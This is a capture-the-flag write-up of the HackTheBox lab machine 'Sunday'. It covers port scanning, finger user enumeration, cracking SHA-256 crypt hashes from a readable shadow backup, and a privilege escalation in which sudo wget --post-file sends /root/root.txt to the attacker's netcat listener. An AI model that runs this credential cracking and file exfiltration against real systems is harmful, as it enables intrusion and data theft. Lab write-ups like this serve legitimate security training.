nihilist - Sunday Writeup

Part 1 : Initial Enumeration

As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.

  λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV -Pn 10.10.10.76
  Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-18 05:36 CET
  Stats: 0:01:57 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
  NSE Timing: About 75.00% done; ETC: 05:38 (0:00:00 remaining)
  Nmap scan report for 10.10.10.76
  Host is up (0.037s latency).
  Not shown: 991 closed ports
  PORT      STATE    SERVICE      VERSION
  79/tcp    open     finger       Sun Solaris fingerd
  |_finger: No one logged on\x0D
  111/tcp   open     rpcbind
  765/tcp   filtered webster
  1839/tcp  filtered netopia-vo1
  1998/tcp  filtered x25-svc-port
  2910/tcp  filtered tdaccess
  9011/tcp  filtered d-star
  16018/tcp filtered unknown
  54045/tcp filtered unknown
  Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 117.78 seconds

Seems like we have alot of ports to work with.
let's run another nmap scan, but this time to enumerate all the 65535 ports.

  λ nihilist [ 10.10.14.48/23 ] [~] → nmap -T4 -A -v -p- 10.10.10.76
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-18 05:37 CET
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 05:37
Completed NSE at 05:37, 0.00s elapsed
Initiating NSE at 05:37
Completed NSE at 05:37, 0.00s elapsed
Initiating NSE at 05:37
Completed NSE at 05:37, 0.00s elapsed
Initiating Ping Scan at 05:37
Scanning 10.10.10.76 [2 ports]
Completed Ping Scan at 05:37, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:37
Completed Parallel DNS resolution of 1 host. at 05:37, 0.01s elapsed
Initiating Connect Scan at 05:37
Scanning 10.10.10.76 [65535 ports]
Discovered open port 111/tcp on 10.10.10.76
Increasing send delay for 10.10.10.76 from 0 to 5 due to 197 out of 492 dropped probes since last increase.
Increasing send delay for 10.10.10.76 from 5 to 10 due to max_successful_tryno increase to 5
Warning: 10.10.10.76 giving up on port because retransmission cap hit (6).
Connect Scan Timing: About 1.74% done; ETC: 06:07 (0:29:08 remaining)
Connect Scan Timing: About 3.72% done; ETC: 06:05 (0:26:17 remaining)
Connect Scan Timing: About 8.36% done; ETC: 06:04 (0:24:51 remaining)
Connect Scan Timing: About 12.54% done; ETC: 06:04 (0:23:29 remaining)
Connect Scan Timing: About 17.15% done; ETC: 06:04 (0:22:04 remaining)
Connect Scan Timing: About 21.93% done; ETC: 06:04 (0:20:43 remaining)
Connect Scan Timing: About 27.43% done; ETC: 06:04 (0:19:21 remaining)
Connect Scan Timing: About 32.63% done; ETC: 06:04 (0:18:00 remaining)
Connect Scan Timing: About 37.81% done; ETC: 06:04 (0:16:38 remaining)
Discovered open port 22022/tcp on 10.10.10.76
Discovered open port 33890/tcp on 10.10.10.76
Connect Scan Timing: About 43.04% done; ETC: 06:04 (0:15:15 remaining)
Connect Scan Timing: About 48.19% done; ETC: 06:04 (0:13:53 remaining)
Connect Scan Timing: About 53.48% done; ETC: 06:04 (0:12:33 remaining)

We have found the 22022nd and 33890th port, let's run yet another scan on these two ports to discover what service they are hosting.

  λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.76 -p 22022,33890
  Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 09:15 CET
  Nmap scan report for 10.10.10.76
  Host is up (0.085s latency).

  PORT      STATE  SERVICE VERSION
  22022/tcp open   ssh     SunSSH 1.3 (protocol 2.0)
  33890/tcp closed unknown

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 35.14 seconds

Seems like we have a SSH port to work with ! it is running the SunSSH 1.3 protocol.
we will also be looking at the 79th port : fingerd Solaris.

Part 2 : Getting User Access

Let's see what we can do with the 79th port that is running fingerd Solaris.
We will be running the finger enumeration script by pentestmonkey :
http://pentestmonkey.net/tools/user-enumeration/finger-user-enum

  λ root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] →  perl finger-user-enum.pl -U rockyou.txt -t 10.10.10.76

  ######## Scan started at Wed Nov 20 09:58:10 2019 #########
  sammy@10.10.10.76: sammy pts/2 10.10.14.48
  sunny@10.10.10.76: sunny pts/3 10.10.14.48

We now have 2 users to work with ! sammy and sunny

  λ root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] → ssh sunny@10.10.10.76 -p 22022
Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

We need to allow a ssh key algorithm exchange method to the 10.10.10.76 host into our ~/.ssh/config file.

  λ root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] → echo "Host 10.10.10.76" >> ~/.ssh/config

λ root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] → echo "   KexAlgorithms +diffie-hellman-group1-sha1" >> ~/.ssh/config

λ root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] → ssh sunny@10.10.10.76 -p 22022
The authenticity of host '[10.10.10.76]:22022 ([10.10.10.76]:22022)' cant be established.
RSA key fingerprint is SHA256:TmRO9yKIj8Rr/KJIZFXEVswWZB/hic/jAHr78xGp+YU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.76]:22022' (RSA) to the list of known hosts.
Password:
Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008

We see that the box is running SunOS 5.11, which is preety old, now we know why we needed to enable the old ssh algorithms for the client.

sunny@sunday:~$ cat /
cat: /: Is a directory
sunny@sunday:~$ CLEAR
-bash: CLEAR: command not found
sunny@sunday:~$
sunny@sunday:~$ cat /home/sunny/user.txt

Here we see that the box is awfully slow and unresponsive.

sunny@sunday:~/Desktop$ cd /export/home/sammy
sunny@sunday:/export/home/sammy$ ls
Desktop  Documents  Downloads  Public
sunny@sunday:/export/home/sammy$ cd Desktop
sunny@sunday:/export/home/sammy/Desktop$ ls
user.txt
sunny@sunday:/export/home/sammy/Desktop$ cat user.txt
cat: user.txt: Permission denied

Navigating to /export/home/sammy/desktop we see that we do not have permissions to read user.txt
Our next step is to try to print out /etc/passwd and /backup/shadow.backup

  sunny@sunday:/export/home/sammy/Desktop$ cat user.txt
  cat: user.txt: Permission denied

  sunny@sunday:/export/home/sammy/Desktop$ cat /etc/passwd
  root:x:0:0:Super-User:/root:/usr/bin/bash
  daemon:x:1:1::/:
  bin:x:2:2::/usr/bin:
  sys:x:3:3::/:
  adm:x:4:4:Admin:/var/adm:
  lp:x:71:8:Line Printer Admin:/usr/spool/lp:
  uucp:x:5:5:uucp Admin:/usr/lib/uucp:
  nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
  dladm:x:15:3:Datalink Admin:/:
  smmsp:x:25:25:SendMail Message Submission Program:/:
  listen:x:37:4:Network Admin:/usr/net/nls:
  gdm:x:50:50:GDM Reserved UID:/:
  zfssnap:x:51:12:ZFS Automatic Snapshots Reserved UID:/:/usr/bin/pfsh
  xvm:x:60:60:xVM User:/:
  mysql:x:70:70:MySQL Reserved UID:/:
  openldap:x:75:75:OpenLDAP User:/:
  webservd:x:80:80:WebServer Reserved UID:/:
  postgres:x:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh
  svctag:x:95:12:Service Tag UID:/:
  nobody:x:60001:60001:NFS Anonymous Access User:/:
  noaccess:x:60002:60002:No Access User:/:
  nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/:
  sammy:x:101:10:sammy:/export/home/sammy:/bin/bash
  sunny:x:65535:1:sunny:/export/home/sunny:/bin/bash

  sunny@sunday:/export/home/sammy/Desktop$ cat /backup/shadow.backup
  mysql:NP:::::::
  openldap:*LK*:::::::
  webservd:*LK*:::::::
  postgres:NP:::::::
  svctag:*LK*:6445::::::
  nobody:*LK*:6445::::::
  noaccess:*LK*:6445::::::
  nobody4:*LK*:6445::::::
  sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
  sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

Looking at the results we see that we have a few things to work with.
we will be running the unshadow command onto the combination of the passwd.txt and shadow.txt files.
First step is to save them locally, and we will run the command afterwards.

  λ nihilist [ 10.10.14.48/23 ] [~] → cd _HTB

  λ nihilist [ 10.10.14.48/23 ] [~/_HTB] → cd Sunday

  λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → nano passwd.txt

  λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → nano shadow.backup

  λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → ls
  finger-user-enum-1.0  passwd.txt  progress.graphml  shadow.backup

  λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → unshadow passwd.txt shadow.backup
  Created directory: /home/nihilist/.john
  root:x:0:0:Super-User:/root:/usr/bin/bash
  daemon:x:1:1::/:
  bin:x:2:2::/usr/bin:
  sys:x:3:3::/:
  adm:x:4:4:Admin:/var/adm:
  lp:x:71:8:Line Printer Admin:/usr/spool/lp:
  uucp:x:5:5:uucp Admin:/usr/lib/uucp:
  nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
  dladm:x:15:3:Datalink Admin:/:
  smmsp:x:25:25:SendMail Message Submission Program:/:
  listen:x:37:4:Network Admin:/usr/net/nls:
  gdm:x:50:50:GDM Reserved UID:/:
  zfssnap:x:51:12:ZFS Automatic Snapshots Reserved UID:/:/usr/bin/pfsh
  xvm:x:60:60:xVM User:/:
  mysql:NP:70:70:MySQL Reserved UID:/:
  openldap:*LK*:75:75:OpenLDAP User:/:
  webservd:*LK*:80:80:WebServer Reserved UID:/:
  postgres:NP:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh
  svctag:*LK*:95:12:Service Tag UID:/:
  nobody:*LK*:60001:60001:NFS Anonymous Access User:/:
  noaccess:*LK*:60002:60002:No Access User:/:
  nobody4:*LK*:65534:65534:SunOS 4.x NFS Anonymous Access User:/:
  sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:101:10:sammy:/export/home/sammy:/bin/bash
  sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:65535:1:sunny:/export/home/sunny:/bin/bash

  λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → unshadow passwd.txt shadow.backup > john_pwd.txt

  λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] →  john john_pwd.txt --wordlist='/usr/share/wordlists/rockyou.txt'

We use the rockyou.txt wordlist in combination with the john command and we find the password "cooldude!" for the sammy user.
Using that we try to log in through SSH once more but this time as the sammy user.

  λ root [ 10.10.14.48/23 ] [_HTB/Sunday/finger-user-enum-1.0] → ssh sammy@10.10.10.76 -p 22022
Password:
Last login: Tue Apr 24 12:57:03 2018 from 10.10.14.4
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
sammy@sunday:~$ ls
Desktop  Documents  Downloads  Public
sammy@sunday:~$ cd Desktop
sammy@sunday:~/Desktop$ cat user.txt
a3XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And we have been able to ssh as the sammy user ! We have finally been able to reveal the user flag.

Part 3 : Getting Root Access

First of all we run the sudo -l command to see what we can work with.

  sammy@sunday:~/Desktop$ sudo -l
  User sammy may run the following commands on this host:
      (root) NOPASSWD: /usr/bin/wget

Interesting ! We seem to be able to run the wget command as root without any password. Let's run the command netcat command on a second terminal , and we will attempt to print out the root flag using wget's --post-file flag.

Terminal 2:

  λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → nc -lvnp 9001

Terminal 1:

  sammy@sunday:~/Desktop$ sudo wget --post-file=/root/root.txt 10.10.14.48:9001
  --08:49:44--  http://10.10.14.48:9001/
             => `index.html'
  Connecting to 10.10.14.48:9001... connected.
  HTTP request sent, awaiting response...

Terminal 2:

  λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Sunday] → nc -lvnp 9001
Connection from 10.10.10.76:48117
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept:
Host: 10.10.14.48:9001
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

fbXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! We have been able to print out the root flag.

Sunday Writeup

Introduction :

Part 1 : Initial Enumeration

Part 2 : Getting User Access

Part 3 : Getting Root Access

Conclusion

Nihilism

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